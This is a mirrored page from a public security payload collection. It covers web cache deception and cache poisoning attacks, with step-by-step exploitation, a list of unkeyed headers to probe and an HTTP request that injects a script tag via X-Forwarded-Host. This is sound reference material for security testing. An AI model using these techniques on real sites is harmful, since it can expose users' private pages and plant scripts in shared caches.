mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-30 08:15:25 +00:00
62 lines
3.0 KiB
Markdown
62 lines
3.0 KiB
Markdown
# Web Cache Deception Attack
|
|
|
|
## Tools
|
|
|
|
* [Param Miner - PortSwigger](https://github.com/PortSwigger/param-miner)
|
|
> This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities.
|
|
|
|
## Exploit
|
|
|
|
1. Browser requests `http://www.example.com/home.php/non-existent.css`.
|
|
2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
|
|
3. The response goes through the proxy.
|
|
4. The proxy identifies that the file has a css extension.
|
|
5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.
|
|
|
|
## Methodology of the attack - example
|
|
|
|
1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
|
|
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
|
|
3. The page is displayed as /home and the cache is saving the page
|
|
4. Open a private tab with the previous URL : `https://www.paypal.com/myaccount/home/malicous.css`
|
|
5. The content of the cache is displayed
|
|
|
|
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
|
|
[](https://vimeo.com/249130093)
|
|
|
|
## Methodology 2
|
|
|
|
1. Find an unkeyed input for a Cache Poisoning
|
|
```js
|
|
Values: User-Agent
|
|
Values: Cookie
|
|
Header: X-Forwarded-Host
|
|
Header: X-Host
|
|
Header: X-Forwarded-Server
|
|
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
|
|
Header: X-Original-URL (Symfony)
|
|
Header: X-Rewrite-URL (Symfony)
|
|
```
|
|
2. Cache poisoning attack - Example for `X-Forwarded-Host` unkeyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
|
|
```js
|
|
GET /test?buster=123 HTTP/1.1
|
|
Host: target.com
|
|
X-Forwarded-Host: test"><script>alert(1)</script>
|
|
|
|
HTTP/1.1 200 OK
|
|
Cache-Control: public, no-cache
|
|
[..]
|
|
<meta property="og:image" content="https://test"><script>alert(1)</script>">
|
|
```
|
|
|
|
|
|
## References
|
|
|
|
* [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html)
|
|
* [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning)
|
|
* [Web Cache Entanglement: Novel Pathways to Poisoning - James Kettle @albinowax](https://portswigger.net/research/web-cache-entanglement)
|
|
* [Web Cache Deception Attack leads to user info disclosure - Kunal pandey - Feb 25](https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29)
|
|
* [Web cache poisoning - Web Security Academy learning materials](https://portswigger.net/web-security/web-cache-poisoning)
|
|
- [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws)
|
|
- [Exploiting cache implementation flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws)
|